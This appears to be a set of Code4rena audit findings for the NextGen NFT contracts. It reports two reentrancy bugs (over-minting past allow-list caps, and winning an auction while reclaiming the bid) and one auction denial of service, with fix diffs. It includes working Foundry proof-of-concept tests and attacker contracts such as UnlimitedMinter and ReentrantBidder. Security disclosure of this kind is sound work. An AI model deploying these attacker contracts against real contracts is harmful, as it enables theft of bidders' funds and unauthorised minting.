NextGen - _eperezok's results

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L193-L198 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L236

Vulnerability details

NextGenCore::mint does not follow the Check-Effects-Interactions pattern:

function mint(...) external {
    require(msg.sender == minterContract, "Caller is not the Minter Contract");
    ...
    if (...) {
	// Mints a new token
        _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
	// Updates state
        if (phase == 1) {
            tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
        } else {
            tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
        }
    }
}

MinterContract::mint uses NextGenCore::mint, and hence is vulnerable to a reentrancy attack via the onERC721Received callback at the time of minting.

Impact

An attacker can take advantage of the outdated state on the NextGenCore contract to mint all the tokens they want using MinterContract::mint (which reads from this outdated state), regardless of the maximum allowance set for them by the NextGen team.

This is specially worrying during the allow list phase (ie. phase 1), since at this phase there is a reduced list of addresses that are able to mint, and each of them is expected to have a maximum allowance.

If an attacker exploits this bug, they will be able to mint all the tokens they want, even consuming the supply that was intended to be reserved for the public sale.

Note: sponsor confirmed that addresses in the allow list are not trusted.

Proof of Concept

Let’s consider a scenario in which Bob wants to take part in the allow list phase. He will deploy an UnlimitedMinter contract beforehand, and register in the allow list using its address.

The merkle tree is created, and Bob is granted a max allowance of 2 tokens to mint during this phase. However, Bob plans on minting 7 tokens; he doesn’t care about the max allowance.

Merkle tree creation: https://gist.github.com/EperezOk/a7f3072e809d8d618d603cb40a254084

Let’s now see how Bob uses the UnlimitedMinter contract to execute the attack:

function test_MinterContract_Mint_Exploit() public {
    vm.warp(ALLOWLIST_START_TIME);

    vm.startPrank(bob);

    // Bob wants 5 extra NFTs, appart from what the max allowance is set to
    UnlimitedMinter unlimitedMinter = new UnlimitedMinter(
        hhMinter,
        MAX_ALLOWANCE + 5, // mints 5 "illegal" tokens
        hhCore
    );

    // Once the merkle tree is created, Bob sets the proof for the unlimited minter contract
    unlimitedMinter.setProofParams(UNLIMITED_MINTER_PROOF, MAX_ALLOWANCE, TOKEN_DATA);

    // Here Bob can mint all the tokens he wants, regardless of the `MAX_ALLOWANCE`
    unlimitedMinter.mint();

    // Bob transfers all the tokens to his wallet
    for (uint256 i = 0; i < MAX_ALLOWANCE + 5; i++)
	hhCore.safeTransferFrom(address(unlimitedMinter), bob, 10000000000 + i);

    // Bob effectively minted 5 extra tokens, surpasing the max allowance
    assertEq(hhCore.balanceOf(bob), MAX_ALLOWANCE + 5);
}

Here’s part of the code for the UnlimitedMinter contract:

contract UnlimitedMinter {
    // State vars ....

    constructor(NextGenMinterContract _hhMinter, uint256 _totalAmountToMint, NextGenCore hhCore) {
        hhMinter = _hhMinter;
        totalAmountToMint = _totalAmountToMint;
        hhCore.setApprovalForAll(msg.sender, true);
    }

    function setProofParams(bytes32[] memory _proof, uint256 _maxAllowance, string memory _tokenData) public {
        proof = _proof;
        maxAllowance = _maxAllowance;
        tokenData = _tokenData;
    }

    function mint() public {
        // Mint one NFT to kick off the reentrancy attack
        hhMinter.mint(1, 1, maxAllowance, tokenData, address(this), proof, address(0), 0);
    }

    function onERC721Received(address,address,uint256,bytes calldata) external returns (bytes4) {
        if (--totalAmountToMint > 0) {
            // Just mint the extra tokens one by one, could be done more efficiently
            hhMinter.mint(1, 1, maxAllowance, tokenData, address(this), proof, address(0), 0);
        }
        return this.onERC721Received.selector;
    }
}

Complete code for the POC and attacker contract: https://gist.github.com/EperezOk/77645e2da4d69b439f8c3ab63154f936

Note: to run the POC, please install Foundry and make sure contracts are located at ../smart-contracts, relative to the test file.

Tools Used

Manual review and Foundry.

Recommended Mitigation Steps

Follow the CEI pattern in NextGenCore::mint.

diff --git a/smart-contracts/NextGenCore.sol b/smart-contracts/NextGenCore.sol
index 6d294ed..c84091f 100644
--- a/smart-contracts/NextGenCore.sol
+++ b/smart-contracts/NextGenCore.sol
@@ -190,12 +190,12 @@ contract NextGenCore is ERC721Enumerable, Ownable, ERC2981 {
         require(msg.sender == minterContract, "Caller is not the Minter Contract");
         collectionAdditionalData[_collectionID].collectionCirculationSupply = collectionAdditionalData[_collectionID].collectionCirculationSupply + 1;
         if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) {
-            _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
             if (phase == 1) {
                 tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
             } else {
                 tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
             }
+            _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
         }
     }

Assessed type

Reentrancy

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L105 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L125 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L135

Vulnerability details

Impact

An attacker can submit the highest bid in the auction, win the auction and get both the NFT and the ether bidded back, essentially winning the auction for free.

Note 1: the attacker can use a flash loan to get the funds for submitting the highest bid, so they wouldn’t even need to have a lot of ether to execute the attack.

Note 2: this attack requires that there’s a block whose timestamp is the same as the auction end time. Since the project will be launched on mainnet, and mainnet blocks come out every 12 seconds, this attack will be possible in 1 out of 12 auctions on average, which is far from negligible.

Note 3: let x be the highest bid (in wei) before the attack is executed. Then the attack also requires that the contract holds x + 1 wei unrelated to the target auction. However, this is a lax requirement, since other auctions will probably be running at the same time, and funds will be taken from those ones (leaving at least one of them insolvent).

Context

If block.timestamp == auctionEndTime, then all four participateToAuction, claimAuction, cancelBid and cancelAllBids can be called by a user in the AuctionDemo contract:

require(msg.value > returnHighestBid(_tokenid) && block.timestamp <= minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true);

AuctionDemo::participateToAuction

require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);

AuctionDemo::claimAuction

require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");

AuctionDemo::cancelBid and AuctionDemo::cancelAllBids

Proof of Concept

Let’s suppose there are two auctions running: auction0 and auction1. auction1 finishes after auction0.

1. Bob bids on both auctions.
2. When auction0 end time arrives, Charlie submits the attack.
3. Charlie wins auction0 getting back the money he bidded, and auction1 becomes insolvent.

function test_ClaimAuction_Exploit() public {
    // These are the tokenId's for each auction
    uint256 auction0 = 10000000000;
    uint256 auction1 = 10000000001;

    // Bob participates in both auctions
    vm.startPrank(bob);
    hhAuction.participateToAuction{value: 5 ether}(auction0);
    hhAuction.participateToAuction{value: 10 ether}(auction1);
    vm.stopPrank();

    vm.warp(AUCTION_END_TIME);

    // Charlie outbids Bob in `auction0`, which finishes before `auction1`.
    // He does this through the `ReentrantBidder` contract.
    vm.startPrank(charlie);
    ReentrantBidder maliciousBidder = new ReentrantBidder(hhAuction, hhCore);
    // Note: Charlie could use a flash loan to get the funds for submitting the highest bid
    maliciousBidder.bid{value: 5 ether + 1}(auction0);
    vm.stopPrank();

    assertEq(hhCore.balanceOf(charlie), 0);
    assertEq(charlie.balance, 0);

    // Auction0 ends
    vm.prank(admin);
    hhAuction.claimAuction(auction0);

    // Charlie ends up having both the NFT and the amount he had bidded
    assertEq(hhCore.balanceOf(charlie), 1);
    assertEq(charlie.balance, 5 ether + 1);

    // The auction owner does have the 5 ether + 1 (highest bid) they should have
    assertEq(admin.balance, 5 ether + 1);

    // However now ~5 out of the 10 ether Bob had bidded on `auction1` are missing, so he won't be able
    // to get the 10 ether he bidded back (`auction1` is insolvent).
    assertEq(bob.balance, 5 ether);
    assertEq(address(hhAuction).balance, 5 ether - 1);
}

Here’s part of the contract the attacker can use to execute the attack:

contract ReentrantBidder {

    // State vars and constructor ...

    function bid(uint256 tokenId) public payable {
        hhAuction.participateToAuction{value: msg.value}(tokenId);
    }

    function onERC721Received(address, address, uint256 tokenId, bytes calldata) external returns (bytes4) {
        // Transfer the NFT to the owner
        hhCore.safeTransferFrom(address(this), owner, tokenId);

        // Withdraw the highest bid and transfer the money back to the owner
        hhAuction.cancelAllBids(tokenId);
        owner.call{value: address(this).balance}("");

        return this.onERC721Received.selector;
    }

    receive() external payable {}
}

Complete test file and attacker contract: https://gist.github.com/EperezOk/d24154562d15c8530846f7b4e90ace48

Note: to run the POC, please install Foundry and make sure contracts are located at ../smart-contracts, relative to the test file.

Tools Used

Manual review and Foundry.

Recommended Mitigation Steps

Don’t allow claimAuction to be called in the same block as the rest of the functions in the AuctionDemo contract:

diff --git a/smart-contracts/AuctionDemo.sol b/smart-contracts/AuctionDemo.sol
index 95533fb..659f5cd 100644
--- a/smart-contracts/AuctionDemo.sol
+++ b/smart-contracts/AuctionDemo.sol
@@ -102,7 +102,7 @@ contract auctionDemo is Ownable {
     // claim Token After Auction

     function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
-        require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
+        require(block.timestamp > minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
         auctionClaim[_tokenid] = true;
         uint256 highestBid = returnHighestBid(_tokenid);
         address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);

Assessed type

Reentrancy

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L112

Vulnerability details

Once the current timestamp is greater than the auction’s end time, users can’t bid on the auction nor cancel their bids. This means their money will be locked inside the auction contract until an admin or the winner calls AuctionDemo::claimAuction.

Impact

If at the end of an auction, the highest bidder is a contract and it does not implement onERC721Received, then AuctionDemo::claimAuction will always revert and non of the users that participated in the auction will be able to get their money back. This is because safeTransferFrom is used to transfer the NFT.

Note: users can use a contract to participate in the auction with no bad intentions, they can just forget to implement IERC721Receiver.

Proof of Concept

Let’s say Bob and Charlie participate in the auction using their EOAs, but Dave decides to participate using a Bidder contract he designed.

contract Bidder {
    function bid(auctionDemo hhAuction, uint256 tokenId) public payable {
        hhAuction.participateToAuction{value: msg.value}(tokenId);
    }
}

If Dave ends up being the highest bidder, then all Bob, Charlie and Dave will lose their funds, since AuctionDemo::claimAuction will always revert.

function test_ClaimAuction_DOS() public {
    uint256 tokenId = 10000000000;

    // Bob participates in the auction
    vm.prank(bob);
    hhAuction.participateToAuction{value: 1}(tokenId);

    // Charlie out-bids Bob in the auction
    vm.prank(charlie);
    hhAuction.participateToAuction{value: 2}(tokenId);

    vm.startPrank(dave);
    // Dave submits the highest bid through a contract that does not implement `onERC721Received`
    Bidder bidderContract = new Bidder();
    bidderContract.bid{value: 3}(hhAuction, tokenId);
    vm.stopPrank();

    vm.warp(AUCTION_END_TIME + 1);

    vm.expectRevert("ERC721: transfer to non ERC721Receiver implementer");
    hhAuction.claimAuction(tokenId);

    // No one can withraw funds nor outbid the Bidder contract, since the auction already ended
    vm.startPrank(bob);

    vm.expectRevert("Auction ended");
    hhAuction.cancelBid(tokenId, 0);

    vm.expectRevert("Auction ended");
    hhAuction.cancelAllBids(tokenId);

    vm.expectRevert();
    hhAuction.participateToAuction{value: 500}(tokenId);
}

Complete test file and Bidder contract: https://gist.github.com/EperezOk/df879871e452e9e1bbf87128fbc96dce

Note: to run the POC, please install Foundry and make sure contracts are located at ../smart-contracts, relative to the test file.

Tools Used

Manual review and Foundry.

Recommended Mitigation Steps

The following is just a recommendation to solve the problem described here, but note that AuctionDemo::claimAuction has other issues appart from this one.

Consider using a try catch block to handle the error, and transfer the NFT to an adminWallet so that they can then get in touch with the highest bidder and solve the issue off-chain.

diff --git a/smart-contracts/AuctionDemo.sol b/smart-contracts/AuctionDemo.sol
index 95533fb..3de256b 100644
--- a/smart-contracts/AuctionDemo.sol
+++ b/smart-contracts/AuctionDemo.sol
@@ -109,7 +109,10 @@ contract auctionDemo is Ownable {
         address highestBidder = returnHighestBidder(_tokenid);
         for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
             if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
-                IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
+                try IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid) {}
+                catch Error(string memory /*reason*/) {
+                    IERC721(gencore).safeTransferFrom(ownerOfToken, adminWallet, _tokenid);
+                }
                 (bool success, ) = payable(owner()).call{value: highestBid}("");
                 emit ClaimAuction(owner(), _tokenid, success, highestBid);
             } else if (auctionInfoData[_tokenid][i].status == true) {

Assessed type

Token-Transfer